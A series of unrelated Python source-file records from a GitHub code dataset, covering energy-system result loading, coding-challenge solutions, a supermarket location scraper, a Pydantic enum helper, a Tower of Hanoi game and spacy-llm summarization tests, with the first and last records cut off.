timeindex[\n        meta_args[\"eTraGo\"][\"start_snapshot\"] - 1 : meta_args[\"eTraGo\"][\"end_snapshot\"]\n    ]\n\n    # create df for PyPSA network\n\n    network = pypsa.Network()\n    network.set_snapshots(timeindex)\n\n    timevarying_override = False\n\n    if pypsa.__version__ == \"0.11.0\":\n        old_to_new_name = {\n            \"Generator\": {\n                \"p_min_pu_fixed\": \"p_min_pu\",\n                \"p_max_pu_fixed\": \"p_max_pu\",\n                \"source\": \"carrier\",\n                \"dispatch\": \"former_dispatch\",\n            },\n            \"Bus\": {\"current_type\": \"carrier\"},\n            \"Transformer\": {\"trafo_id\": \"transformer_id\"},\n            \"Storage\": {\n                \"p_min_pu_fixed\": \"p_min_pu\",\n                \"p_max_pu_fixed\": \"p_max_pu\",\n                \"soc_cyclic\": \"cyclic_state_of_charge\",\n                \"soc_initial\": \"state_of_charge_initial\",\n                \"source\": \"carrier\",\n            },\n        }\n\n        timevarying_override = True\n\n    else:\n        old_to_new_name = {\n            \"Storage\": {\n                \"soc_cyclic\": \"cyclic_state_of_charge\",\n                \"soc_initial\": \"state_of_charge_initial\",\n            }\n        }\n\n    # get data into dataframes\n    logger.info(\"Start building eTraGo results network\")\n    for comp, comp_t_dict in config.items():\n\n        orm_dict = map_ormclass(comp)\n\n        pypsa_comp_name = \"StorageUnit\" if comp == \"Storage\" else comp\n        ormclass = orm_dict[comp]\n\n        if not comp_t_dict:\n            df = dataframe_results(comp, session, result_id, ormclass)\n\n            if comp in old_to_new_name:\n                tmp = old_to_new_name[comp]\n                df.rename(columns=tmp, inplace=True)\n\n            network.import_components_from_dataframe(df, pypsa_comp_name)\n\n        if comp_t_dict:\n\n            for name, columns in comp_t_dict.items():\n\n                name = name[:-1]\n                pypsa_comp_name = name\n\n                if name == \"Storage\":\n                    pypsa_comp_name = \"StorageUnit\"\n                if name == \"Transformer\":\n                    name = \"Trafo\"\n\n                for col in columns:\n\n                    df_series = series_results(name, col, session, result_id, ormclass)\n\n                    # TODO: VMagPuSet?\n                    if timevarying_override and comp == \"Generator\":\n                        idx = df[df.former_dispatch == \"flexible\"].index\n                        idx = [i for i in idx if i in df_series.columns]\n                        df_series.drop(idx, axis=1, inplace=True)\n\n                    try:\n\n                        pypsa.io.import_series_from_dataframe(\n                            network, df_series, pypsa_comp_name, col\n                        )\n\n                    except (ValueError, AttributeError):\n                        logger.warning(\n                            \"Series %s of component %s could not be\"\n                            \" imported\" % (col, pypsa_comp_name)\n                        )\n\n    logger.info(\"Imported eTraGo results of id = %s \", result_id)\n    return network\n\n\ndef recover_resultsettings(session, json_file, orm_meta, result_id):\n    \"\"\"Recover scenario_setting from database\"\"\"\n\n    # check result_id\n    result_id_in = (\n        session.query(orm_meta.result_id).filter(orm_meta.result_id == result_id).all()\n    )\n\n    # get meta data as json_file\n    meta = session.query(\n        orm_meta.result_id,\n        orm_meta.scn_name,\n        orm_meta.calc_date,\n        orm_meta.user_name,\n        orm_meta.method,\n        orm_meta.start_snapshot,\n        orm_meta.end_snapshot,\n        orm_meta.solver,\n        orm_meta.settings,\n    ).filter(orm_meta.result_id == result_id)\n\n    meta_df = pd.read_sql(meta.statement, meta.session.bind, index_col=\"result_id\")\n\n    # update json_file with main data by result_id\n    json_file[\"eTraGo\"][\"scn_name\"] = meta_df.scn_name[result_id]\n    json_file[\"eTraGo\"][\"method\"] = meta_df.method[result_id]\n    json_file[\"eTraGo\"][\"start_snapshot\"] = meta_df.start_snapshot[result_id]\n    json_file[\"eTraGo\"][\"end_snapshot\"] = meta_df.end_snapshot[result_id]\n    json_file[\"eTraGo\"][\"solver\"] = meta_df.solver[result_id]\n\n    # update json_file with specific data by result_id\n    meta_set = dict(meta_df.settings[result_id])\n\n    for key in json_file[\"eTraGo\"].keys():\n        try:\n            json_file[\"eTraGo\"][key] = meta_set[key]\n        except KeyError:\n            pass\n\n    return json_file\n\n\nif __name__ == \"__main__\":\n    pass\n","repo_name":"openego/eGo","sub_path":"ego/tools/io.py","file_name":"io.py","file_ext":"py","file_size_in_byte":25871,"program_lang":"python","lang":"en","doc_type":"code","stars":15,"dataset":"github-code","pt":"38"}
{"seq_id":"5467299559","text":"from collections import deque\nn = int(input())\n\narr = [True for i in range(n+1)]\n\nfor i in range(2, n):\n    if arr[i]:\n        for j in range(i*2, n+1,i):\n            arr[j] = False\n\nprime_num = []\nfor i in range(2, n+1):\n    if arr[i]:\n        prime_num.append(i)\n\nresult = 0 \ntotal_sum = 0\nq = deque([])\nfor i in prime_num:\n    \n    q.append(i)\n    total_sum+=i\n\n    if total_sum == n:\n        result +=1\n\n    while total_sum >= n:\n        a = q.popleft()\n        total_sum-=a\n\n        if total_sum == n:\n            result+=1\n\nprint(result)","repo_name":"wjdqlsdlsp/coding_test_practice","sub_path":"Class5/1644.py","file_name":"1644.py","file_ext":"py","file_size_in_byte":543,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"19888311544","text":"\"\"\"\nDo not search for equal characters, search for unequal characters\nAdd values to a new string as and when neighboring elements do not match\n\"\"\"\nclass Solution:\n   def remove (self, s):\n       #code here\n       news=\"\"#New String\n       #print(s)\n       n=len(s)#Length of originl string\n       \n       while True:\n           news=\"\"\n           \n           oldn=n#Keep the length for comparison at the end\n           \n           s= s + \"1\"#Add a sentinel at the end\n           p1=0\n           \n           for i in range(1,n+1):\n               if s[i]!=s[i-1]:#New element found\n                   p2=i\n                   if p2-p1<=1:#Previous matched sequence was of 1 element only. Add it\n                       news=news + s[i-1]\n                   p1=p2\n           n=len(news)#New length\n           if n==oldn:#No changes happened. Answer found.Return\n                return news\n           s=news#Repeat with new string\n       #return news\n\n#{ \n#  Driver Code Starts\n#Initial Template for Python 3\n\nif __name__ == '__main__': \n    t = int(input())\n    for _ in range (t):\n        S = input()\n        ob = Solution()\n        print(ob.remove(S))\n\n\n# } Driver Code Ends","repo_name":"Pawan-Bhatt/Leetcode_solution","sub_path":"Recursively remove all adjacent duplicates - GFG/recursively-remove-all-adjacent-duplicates.py","file_name":"recursively-remove-all-adjacent-duplicates.py","file_ext":"py","file_size_in_byte":1172,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"38"}
{"seq_id":"20716301458","text":"__author__ = 'pabloholanda'\nimport settings\n\n\ndef trava(vp):\n    if -4 <= vp <= 4:\n        return vp\n    elif vp > 4.00:\n        return 4\n    elif vp < -4:\n        return -4.00\n\n\ndef trava_alto_nivel(vp):\n    if settings.tanque['pvtq_1'] > 28 and vp > 3.15:\n        return 3.15\n    else:\n        return vp\n\n\ndef trava_muito_nivel(vp):\n    if (settings.tanque['pvtq_1'] > 29.00) and (vp > 0):\n        return 0.0\n    else:\n        return vp\n\n\ndef trava_nivel_baixo(vp):\n    if (settings.tanque['pvtq_1'] < 4.00) and (vp < 0):\n        return 0\n    else:\n        return vp\n\n\ndef nivel_cascata(pv):\n    if pv > 30:\n        return 30\n    elif pv < -30:\n        return -30\n    else:\n        return pv\n\n\ndef sequencia_travas(vp):\n    vp = trava(vp)\n    vp = trava_alto_nivel(vp)\n    vp = trava_muito_nivel(vp)\n    vp = trava_nivel_baixo(vp)\n    return vp\n\n","repo_name":"mribeirodantas/newpump","sub_path":"travas.py","file_name":"travas.py","file_ext":"py","file_size_in_byte":848,"program_lang":"python","lang":"pt","doc_type":"code","stars":1,"dataset":"github-code","pt":"38"}
{"seq_id":"26437248197","text":"from django.urls import path\n\nfrom . import views\n\n\nurlpatterns = [\n    path(\"\", views.SerialAPIView.as_view(), name='list'),\n    path(\"<int:pk>/\", views.SerialDetailAPIView.as_view(), name='detail'),\n    path(\"review/\", views.SerialReviewAPIView.as_view(), name='review'),\n    path(\"rating/\", views.SerialRatingAPIView.as_view(), name='rating'),\n    path(\"video/<int:pk>/\", views.VideoWatcher.as_view(), name='video')\n]","repo_name":"Shetami/VideoHosting","sub_path":"src/video_watcher/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":420,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"12633020931","text":"import requests\nfrom bs4 import BeautifulSoup\nfrom geojson import FeatureCollection, Feature, Point\n\nfrom extractors import Extractor\nfrom utils import extract_address_from_text, user_agent\nfrom utils.opening_dates import create_from_freetext\n\n\nclass PoloMarketExtractor(Extractor):\n    BASE_URL = 'https://www.polomarket.pl'\n\n    def fetch_locations(self) -> FeatureCollection:\n        response = requests.get(f'{self.BASE_URL}/pl/nasze-sklepy.html', headers={\n            'User-Agent': user_agent()\n        })\n        soup = BeautifulSoup(response.content, 'html.parser')\n        regions_links = ['/'.join([self.BASE_URL, x[\"href\"]]) for x in soup.find_all('area')]\n\n        features = []\n        for region_link in regions_links:\n            response = requests.get(region_link, headers={\n                'User-Agent': user_agent()\n            })\n\n            soup = BeautifulSoup(response.content, 'html.parser')\n            shops = soup.select('.region')\n            for shop in shops:\n                city = shop.find('span', string='Miasto:').nextSibling.text.strip()\n                street = shop.find('span', string='Ulica:').nextSibling.text.strip()\n                opening_hours_raw = shop.find('span', string='Godziny otwarcia:').nextSibling.text\n                navigate_url = shop.find('a', string='Dojazd')\n                address_tags = extract_address_from_text(street)\n\n                features.append(Feature(\n                    geometry=Point((float(navigate_url['data-lng']), float(navigate_url['data-lat']))),\n                    properties=address_tags | {\n                        'name': 'POLOMarket',\n                        'brand': 'POLOMarket',\n                        'brand:wikidata': 'Q11821937',\n                        'shop': 'supermarket',\n                        'addr:full': street,\n                        'addr:city': city,\n                        'opening_hours': create_from_freetext(opening_hours_raw)\n                    }\n                ))\n\n        return FeatureCollection(features)\n","repo_name":"Adikso/poi-sourcer","sub_path":"extractors/polomarket.py","file_name":"polomarket.py","file_ext":"py","file_size_in_byte":2030,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"26854174050","text":"# Definition for a binary tree node.\n# class TreeNode:\n#     def __init__(self, val=0, left=None, right=None):\n#         self.val = val\n#         self.left = left\n#         self.right = right\nclass Solution:\n    @cache\n    def allPossibleBST(self,start,end):\n        res=[]\n        if start>end: \n            res.append(None)\n            return res\n        \n        for i in range(start,end+1):\n            leftSubTrees = self.allPossibleBST(start,i-1)\n            rightSubTrees = self.allPossibleBST(i+1,end)\n            \n            for left in leftSubTrees:\n                for right in rightSubTrees:\n                    root = TreeNode(i,left,right)\n                    res.append(root)\n        return res\n    \n    def generateTrees(self, n: int) -> List[Optional[TreeNode]]:\n        return self.allPossibleBST(1,n)","repo_name":"a-ma-n/Leetcode-Solutions","sub_path":"0095-unique-binary-search-trees-ii/0095-unique-binary-search-trees-ii.py","file_name":"0095-unique-binary-search-trees-ii.py","file_ext":"py","file_size_in_byte":820,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"38"}
{"seq_id":"15752651652","text":"n,k=map(int,input().split())\r\n\r\nsr=[1]*k\r\nsr.append(k)\r\nfor i in range(k+1,n):\r\n    sr.append(0)\r\n    sr[i]=2*sr[i-1]-sr[i-k-1]\r\nprint(sr[n-1]%1000000007)\r\n\r\n#Bad Method\r\n# n,k=map(int,input().split())\r\n\r\n# def kFibo(n,k):\r\n#     if(n<=k):\r\n#         return 1\r\n#     ans=0\r\n#     for i in range(0,k):\r\n#         ans+=kFibo(n-i-1,k)\r\n#     return ans\r\n\r\n# print(kFibo(n,k))\r\n","repo_name":"Shubham20091999/Problems","sub_path":"CodeChef/kFibonnaci.py","file_name":"kFibonnaci.py","file_ext":"py","file_size_in_byte":374,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"33883012337","text":"from enum import Enum\nfrom pprint import pformat\n\nfrom typing import Any, Dict, Union\n\n# inspiration from https://github.com/pydantic/pydantic/issues/598\nclass PydanticEnum(Enum):\n    \"\"\"\n    Subtypes of this enum variant that are embedded in a pydantic model will be:\n      - coerced into an enum instance using member name (case insensitive)\n      - and expose member names (upper case) in model json schema.\n\n\n    Example:\n    ```python\n    class PowerState(PydanticEnum):\n        OFF = 0\n        ON = 1\n\n    class Appliance(pydantic.BaseModel):\n        power_state: PowerState\n        ...\n\n    Appliance(power_state=PowerState.ON)\n    Appliance(power_state=\"ON\")\n    Appliance(power_state=\"on\")\n\n    Appliance(power_state=1) # invalid\n    ```\n\n    Note, `PydanticEnum` subtypes with member names that case-intensively match will yield\n    undesirable behavior.\n    \"\"\"\n\n    @classmethod\n    def __modify_schema__(cls, field_schema: Dict[str, Any]) -> None:\n        \"\"\"Method used by pydantic to populate json schema fields and their associated types.\"\"\"\n        # display enum field names as field options\n        if \"enum\" in field_schema:\n            field_schema[\"enum\"] = [f.name.upper() for f in cls]\n            field_schema[\"type\"] = \"string\"\n\n    @classmethod\n    def __get_validators__(cls):\n        \"\"\"Method used by pydantic to retrieve a class's validators.\"\"\"\n        yield cls.validate\n\n    @classmethod\n    def validate(cls, v: Union[Enum, str]):\n        \"\"\"\n        Method used by pydantic to validate and potentially coerce a `v` into a `cls` enum type.\n\n        Coercion from a `str` into a `cls` enum instance is performed _case-insensitively_ based on\n        the `cls` enum's `name` fields. For example, enum Foo with member `bar = 1` is coercible by\n        providing `\"bar\"`, _not_ `1`.\n\n        Example:\n        ```python\n        class Foo(PydanticEnum):\n            bar = 1\n\n        class Model(pydantic.BaseModel):\n            foo: Foo\n\n        Model(foo=Foo.bar) # valid\n        Model(foo=\"bar\") # valid\n        Model(foo=\"BAR\") # valid\n\n        Model(foo=1) # invalid\n        ```\n        \"\"\"\n        if isinstance(v, cls):\n            return v\n\n        v = str(v).upper()\n\n        for name, value in cls.__members__.items():\n            if name.upper() == v:\n                return value\n\n        error_message = pformat(\n            f\"Invalid Enum field. Field {v!r} is not a member of {set(cls.__members__)}\"\n        )\n        raise ValueError(error_message)\n","repo_name":"NOAA-OWP/DMOD","sub_path":"python/lib/core/dmod/core/enum.py","file_name":"enum.py","file_ext":"py","file_size_in_byte":2493,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"38"}
{"seq_id":"21204555444","text":"'''\nCreated on Apr 16, 2017\n\n@author: MT\n'''\n\n# Definition for a binary tree node.\nclass TreeNode(object):\n    def __init__(self, x):\n        self.val = x\n        self.left = None\n        self.right = None\n\nclass Solution(object):\n    def pathSum(self, root, sumVal):\n        if not root: return 0\n        return self.helper(root, sumVal) +\\\n            self.pathSum(root.left, sumVal)+\\\n            self.pathSum(root.right, sumVal)\n    \n    def helper(self, root, sumVal):\n        if not root: return 0\n        if root.val == sumVal:\n            res = 1\n        else:\n            res = 0\n        res += self.helper(root.left, sumVal-root.val)\n        res += self.helper(root.right, sumVal-root.val)\n        return res\n    \n    def pathSum_second(self, root, sumVal):\n        hashmap = {0:1}\n        return self.dfs(root, 0, sumVal, hashmap)\n    \n    def dfs(self, root, sumVal, target, hashmap):\n        if not root: return 0\n        sumVal += root.val\n        res = hashmap.get(sumVal-target, 0)\n        hashmap[sumVal] = hashmap.get(sumVal, 0)+1\n        res += self.dfs(root.left, sumVal, target, hashmap)\n        res += self.dfs(root.right, sumVal, target, hashmap)\n        hashmap[sumVal] = hashmap[sumVal]-1\n        return res\n","repo_name":"syurskyi/Algorithms_and_Data_Structure","sub_path":"_algorithms_challenges/leetcode/LeetcodePythonProject/leetcode_0401_0450/LeetCode437_PathSumIII.py","file_name":"LeetCode437_PathSumIII.py","file_ext":"py","file_size_in_byte":1233,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"38"}
{"seq_id":"39866363104","text":"'''\nhttps://www.acmicpc.net/problem/7576\nBFS\n\n틀림\n\n기존 bfs와 다른점\n1. 탐색을 시작할 수 있는 노드가 한 개가 아님\n2. 여러 노드에서 동시에 탐색을 허용\n3. 큐에 시작 가능한 노드를 모두 담은 후 시작 Point!!\n4. 노드 방문 기록을 남길 추가적인 배열이 필요 없음\n\n왜 틀린지 모르겠음.\n'''\n\nimport sys\nfrom collections import deque\n\nm, n = map(int, input().split())\nbox = []\nfor i in range(n):\n    box.append(list(map(int, input().split())))\n# quit_cond = min(map(min, box))\n# if quit_cond >= 1: # 최소값이 1 이상 즉, 토마토가 모두 담긴 상태라면 0출력 종료\n#     print(0)\n#     exit()\n\n\nqueue = deque()\nd_x = [-1,0,1,0]\nd_y = [0,-1,0,1]\n\ndef bfs():\n    while queue:\n        x, y = queue.popleft()\n        for i in range(4):\n            new_x = x + d_x[i]\n            new_y = y + d_y[i]\n            if 0 <= new_x < n and 0 <= new_y < m:\n                if box[new_x][new_y] == 0:\n                    box[new_x][new_y] = box[x][y] + 1\n                    queue.append([new_x, new_y])\n\n# 시작 가능한 좌표를 큐에 저장\n# 익은 토마토가 있는 모든 위치\nfor i in range(n):\n    for j in range(m):\n        if box[i][j] == 1:\n            queue.append([i, j])\nbfs()\nif 0 in box:\n    print(-1)\nelse:\n    print(max(map(max, box))-1)","repo_name":"kimdh-hi/algorithm-python","sub_path":"BOJ/7576토마토.py","file_name":"7576토마토.py","file_ext":"py","file_size_in_byte":1338,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"29657067909","text":"from toah_model import TOAHModel, IllegalMoveError\n\n\ndef move(model, origin, dest):\n    \"\"\" Apply move from origin to destination in model.\n\n    May raise an IllegalMoveError.\n\n    @param TOAHModel model:\n        model to modify\n    @param int origin:\n        stool number (index from 0) of cheese to move\n    @param int dest:\n        stool number you want to move cheese to\n    @rtype: None\n    \"\"\"\n    TOAHModel.move(model, origin, dest)\n\n\nclass ConsoleController:\n    \"\"\" Controller for text console.\n    \"\"\"\n\n    def __init__(self, number_of_cheeses, number_of_stools):\n        \"\"\" Initialize a new ConsoleController self.\n\n        @param ConsoleController self:\n        @param int number_of_cheeses:\n        @param int number_of_stools:\n        @rtype: None\n        \"\"\"\n        self.number_of_cheeses = number_of_cheeses\n        self.number_of_stools = number_of_stools\n\n    def play_loop(self):\n        \"\"\" Play Console-based game.\n\n        @param ConsoleController self:\n        @rtype: None\n\n        TODO:\n        -Start by giving instructions about how to enter moves (which is up to\n        you). Be sure to provide some way of exiting the game, and indicate\n        that in the instructions.\n        -Use python's built-in function input() to read a potential move from\n        the user/player. You should print an error message if the input does\n        not meet the specifications given in your instruction or if it denotes\n        an invalid move (e.g. moving a cheese onto a smaller cheese).\n        You can print error messages from this method and/or from\n        ConsoleController.move; it's up to you.\n        -After each valid move, use the method TOAHModel.__str__ that we've\n        provided to print a representation of the current state of the game.\n        \"\"\"\n        game = TOAHModel(self.number_of_stools)\n        game.fill_first_stool(self.number_of_cheeses)\n        print(\"~~~~~~~~~~WELCOME TO FAIYAZ AND RASU'S GAME~~~~~~~~~~\\n\")\n        print(\"~~~~~~~~~~OBJECTIVES~~~~~~~~~~\")\n        print(\"To Move the entire stack of cheese from one stool to another \"\n              \"stool\\n\")\n        print(\"~~~~~~~~~~INSTRUCTIONS~~~~~~~~~~\")\n        print(\"1. Move cheese from one stool to another one at a time \\n\"\n              \"2. Can only move the top most cheese from a stool \\n\"\n              \"3. Can't place a larger cheese over a smaller cheese \\n\"\n              \"4. To exit the game, enter 'exit'\")\n        print('START \\n \\n ')\n        print(game)\n        start = 'Open'\n        while start != 'exit':\n            origin = int(input(\"Enter the stool from which you want to move the\"\n                               \" cheese. Stools range from 0 to \" + str\n                               (self.number_of_stools-1)\n                               + ': '))\n            final = int(input(\"Now enter the stool you want to move the slice \"\n                              \"of cheese to. Stools range from 0 to \"\n                              + str(self.number_of_stools - 1) + '\\n'))\n            try:\n                move(game, origin, final)\n            except IllegalMoveError as error:\n                print(\"!!!!!!You caused an error!!!!!!!\")\n                print(error)\n            print(game)\n            start = input(\"type 'exit' to exit or press enter to continue\")\n\nif __name__ == '__main__':\n    stool = int(input(\n        \"Enter the number of stools you would want to play the game with: \"))\n    if stool <= 0:\n        while stool <= 0:\n            print('Number of stools have to be greater than 0')\n            stool = int(input('Enter again: '))\n    model = TOAHModel(stool)\n    cheese = int(input(\n        \"Now, enter the number of cheeses you would want to play the game \"\n        \"with: \"))\n    if cheese <= 0:\n        while cheese <= 0:\n            print('Number of cheeses have to be greater than 0')\n            cheese = int(input('Enter again: '))\n    console = ConsoleController(cheese, stool)\n    console.play_loop()\n    # You should initiate game play here. Your game should be playable by\n    # running this file.\n    # Leave lines below as they are, so you will know what python_ta checks.\n    # You will need consolecontroller_pyta.txt in the same folder.\n    import python_ta\n    python_ta.check_all(config=\"consolecontroller_pyta.txt\")\n","repo_name":"faiyaz72/Tower-of-Hanoi","sub_path":"files/console_controller.py","file_name":"console_controller.py","file_ext":"py","file_size_in_byte":4287,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"5168983934","text":"#modules\nimport os\nimport csv\n\ncounties = [\"Arapahoe\", \"Denver\", \"Jefferson\"]\n\ncounties.append(\"El Paso\")\nprint(counties)\n\ncounties_dict ={}\ncounties_dict[\"Arapahoe\"] = 422829\ncounties_dict[\"Denver\"] = 463353\ncounties_dict[\"Jefferson\"] = 432438\n\ncounties_dict.items()\n\nvoting_data = []\nvoting_data.append({\"county\":\"Arapahoe\", \"registered_voters\": 422829})\nvoting_data.append({\"county\":\"Denver\", \"registered_voters\": 463353})\nvoting_data.append({\"county\":\"Jefferson\", \"registered_voters\": 432438})\nprint(voting_data)\n\n#user votes\nmy_votes = int(input(\"How many cotes did you get in the election? \"))\n#total votes\ntotal_votes = int(input(\"What was the total votes in the election? \"))\n#calculate and print percentage\npercent_vote = (my_votes / total_votes) *100\nprint(\"I recieved \" + str(percent_vote) + \"% of the total votes\")","repo_name":"brennanbarbera/mod-3","sub_path":"code-poll.py","file_name":"code-poll.py","file_ext":"py","file_size_in_byte":826,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"25301979588","text":"import re\nfrom pathlib import Path\n\nimport pytest\nimport spacy\nfrom confection import Config\nfrom spacy.util import make_tempdir\n\nfrom spacy_llm.pipeline import LLMWrapper\nfrom spacy_llm.registry import fewshot_reader, file_reader\nfrom spacy_llm.ty import LLMTask\nfrom spacy_llm.util import assemble_from_config\n\nfrom ...tasks import make_summarization_task\nfrom ..compat import has_openai_key\n\nEXAMPLES_DIR = Path(__file__).parent / \"examples\"\nTEMPLATES_DIR = Path(__file__).parent / \"templates\"\n\n\n@pytest.fixture\ndef zeroshot_cfg_string():\n    return \"\"\"\n    [nlp]\n    lang = \"en\"\n    pipeline = [\"llm\"]\n    batch_size = 128\n\n    [components]\n\n    [components.llm]\n    factory = \"llm\"\n\n    [components.llm.task]\n    @llm_tasks = \"spacy.Summarization.v1\"\n    max_n_words = 20\n\n    [components.llm.model]\n    @llm_models = \"spacy.GPT-3-5.v2\"\n    \"\"\"\n\n\n@pytest.fixture\ndef fewshot_cfg_string():\n    return f\"\"\"\n    [nlp]\n    lang = \"en\"\n    pipeline = [\"llm\"]\n    batch_size = 128\n\n    [components]\n\n    [components.llm]\n    factory = \"llm\"\n\n    [components.llm.task]\n    @llm_tasks = \"spacy.Summarization.v1\"\n    max_n_words = 20\n\n    [components.llm.task.examples]\n    @misc = \"spacy.FewShotReader.v1\"\n    path = {str((Path(__file__).parent / \"examples\" / \"summarization.yml\"))}\n\n    [components.llm.model]\n    @llm_models = \"spacy.GPT-3-5.v2\"\n    \"\"\"\n\n\n@pytest.fixture\ndef ext_template_cfg_string():\n    \"\"\"Simple zero-shot config with an external template\"\"\"\n\n    return f\"\"\"\n    [nlp]\n    lang = \"en\"\n    pipeline = [\"llm\"]\n    batch_size = 128\n\n    [components]\n    [components.llm]\n    factory = \"llm\"\n\n    [components.llm.task]\n    @llm_tasks = \"spacy.Summarization.v1\"\n    max_n_words = 20\n\n    [components.llm.task.template]\n    @misc = \"spacy.FileReader.v1\"\n    path = {str((Path(__file__).parent / \"templates\" / \"summarization.jinja2\"))}\n\n    [components.llm.model]\n    @llm_models = \"spacy.GPT-3-5.v2\"\n    \"\"\"\n\n\n@pytest.fixture\ndef noop_config():\n    return \"\"\"\n    [nlp]\n    lang = \"en\"\n    pipeline = [\"llm\"]\n    batch_size = 128\n\n    [components]\n\n    [components.llm]\n    factory = \"llm\"\n\n    [components.llm.task]\n    @llm_tasks = \"spacy.Summarization.v1\"\n\n    [components.llm.model]\n    @llm_models = \"test.NoOpModel.v1\"\n    \"\"\"\n\n\n@pytest.fixture\ndef example_text() -> str:\n    \"\"\"Returns string to be used as example in tests.\"\"\"\n    return (\n        \"The atmosphere of Earth is the layer of gases, known collectively as air, retained by Earth's gravity \"\n        \"that surrounds the planet and forms its planetary atmosphere. The atmosphere of Earth creates pressure, \"\n        \"absorbs most meteoroids and ultraviolet solar radiation, warms the surface through heat retention \"\n        \"(greenhouse effect), allowing life and liquid water to exist on the Earth's surface, and reduces \"\n        \"temperature extremes between day and night (the diurnal temperature variation).\"\n    )\n\n\n@pytest.mark.external\n@pytest.mark.skipif(has_openai_key is False, reason=\"OpenAI API key not available\")\n@pytest.mark.parametrize(\n    \"cfg_string\",\n    [\n        \"zeroshot_cfg_string\",\n        \"fewshot_cfg_string\",\n        \"ext_template_cfg_string\",\n    ],\n)\ndef test_summarization_config(cfg_string, request):\n    cfg_string = request.getfixturevalue(cfg_string)\n    orig_config = Config().from_str(cfg_string)\n    nlp = spacy.util.load_model_from_config(orig_config, auto_fill=True)\n    assert nlp.pipe_names == [\"llm\"]\n\n    # also test nlp config from a dict in add_pipe\n    component_cfg = dict(orig_config[\"components\"][\"llm\"])\n    component_cfg.pop(\"factory\")\n\n    nlp2 = spacy.blank(\"en\")\n    nlp2.add_pipe(\"llm\", config=component_cfg)\n    assert nlp2.pipe_names == [\"llm\"]\n\n    pipe = nlp.get_pipe(\"llm\")\n    assert isinstance(pipe, LLMWrapper)\n    assert isinstance(pipe.task, LLMTask)\n\n\n@pytest.mark.external\n@pytest.mark.skipif(has_openai_key is False, reason=\"OpenAI API key not available\")\n@pytest.mark.parametrize(\n    \"cfg_string\",\n    [\n        \"zeroshot_cfg_string\",\n        \"fewshot_cfg_string\",\n        \"ext_template_cfg_string\",\n    ],\n)\ndef test_summarization_predict(cfg_string, example_text, request):\n    \"\"\"Use OpenAI to get summarize text.\n    Note that this test may fail randomly, as the LLM's output is unguaranteed to be consistent/predictable\n    \"\"\"\n    orig_cfg_string = cfg_string\n    cfg_string = request.getfixturevalue(cfg_string)\n    orig_config = Config().from_str(cfg_string)\n    nlp = spacy.util.load_model_from_config(orig_config, auto_fill=True)\n\n    # One of the examples exceeds the set max_n_words, so we expect a warning to be emitted.\n    if orig_cfg_string == \"fewshot_cfg_string\":\n        with pytest.warns(\n            UserWarning,\n            match=re.escape(\n                \"The provided example 'Life is a quality th...' has a summary of length 28, but `max_n_words` == 20.\"\n            ),\n        ):\n            doc = nlp(example_text)\n    else:\n        doc = nlp(example_text)\n\n    # Check whether a non-empty summary was written and we are somewhat close to the desired upper length limit.\n    assert 0 < len(doc._.summary)\n    if \"ext\" not in orig_cfg_string:\n        nlp.select_pipes(disable=[\"llm\"])\n        assert (\n            len(nlp(doc._.summary))\n            <= orig_config[\"components\"][\"llm\"][\"task\"][\"max_n_words\"] * 1.5\n        )\n\n\n@pytest.mark.external\n@pytest.mark.skipif(has_openai_key is False, reason=\"OpenAI API key not available\")\n@pytest.mark.parametrize(\n    \"cfg_string_and_field\",\n    [\n        (\"zeroshot_cfg_string\", None),\n        (\"fewshot_cfg_string\", None),\n        (\"ext_template_cfg_string\", None),\n        (\"zeroshot_cfg_string\", \"summary_x\"),\n    ],\n)\ndef test_summarization_io(cfg_string_and_field, example_text, request):\n    cfg_string, field = cfg_string_and_field\n    orig_cfg_string = cfg_string\n    cfg_string = request.getfixturevalue(cfg_string)\n    orig_config = Config().from_str(cfg_string)\n    if field:\n        orig_config[\"components\"][\"llm\"][\"task\"][\"field\"] = field\n    nlp = spacy.util.load_model_from_config(orig_config, auto_fill=True)\n    assert nlp.pipe_names == [\"llm\"]\n    # ensure you can save a pipeline to disk and run it after loading\n    with make_tempdir() as tmpdir:\n        nlp.to_disk(tmpdir)\n        nlp2 = spacy.load(tmpdir)\n    assert nlp2.pipe_names == [\"llm\"]\n\n    if orig_cfg_string == \"fewshot_cfg_string\":\n        with pytest.warns(\n            UserWarning,\n            match=re.escape(\n                \"The provided example 'Life is a quality th...' has a summary of length 28, but `max_n_words` == 20.\"\n            ),\n        ):\n            doc = nlp2(example_text)\n    else:\n        doc = nlp2(example_text)\n\n    field = \"summary\" if field is None else field\n    nlp2.select_pipes(disable=[\"llm\"])\n    assert 0 < len(nlp2(getattr(doc._, field)))\n    if \"ext\" not in orig_cfg_string:\n        assert (\n            len(nlp2(getattr(doc._, field)))\n            <= orig_config[\"components\"][\"llm\"][\"task\"][\"max_n_words\"] * 1.5\n        )\n\n\ndef test_jinja_template_rendering_without_examples(example_text):\n    \"\"\"Test if jinja template renders as we expected\n\n    We apply the .strip() method for each prompt so that we don't have to deal\n    with annoying newlines and spaces at the edge of the text.\n    \"\"\"\n    nlp = spacy.blank(\"en\")\n    doc = nlp.make_doc(example_text)\n\n    llm_ner = make_summarization_task(examples=None, max_n_words=10)\n    prompt = list(llm_ner.generate_prompts([doc]))[0]\n\n    assert (\n        prompt.strip()\n        == f\"\"\"\nYou are an expert summarization system. Your task is to accept Text as input and summarize the Text in a concise way.\nThe summary must not, under any circumstances, contain more than 10 words.\nHere is the Text that needs to be summarized:\n'''\n{example_text}\n'''\nSummary:\"\"\".strip()\n    )\n\n\n@pytest.mark.parametrize(\n    \"examples_path\",\n    [\n        str(EXAMPLES_DIR / 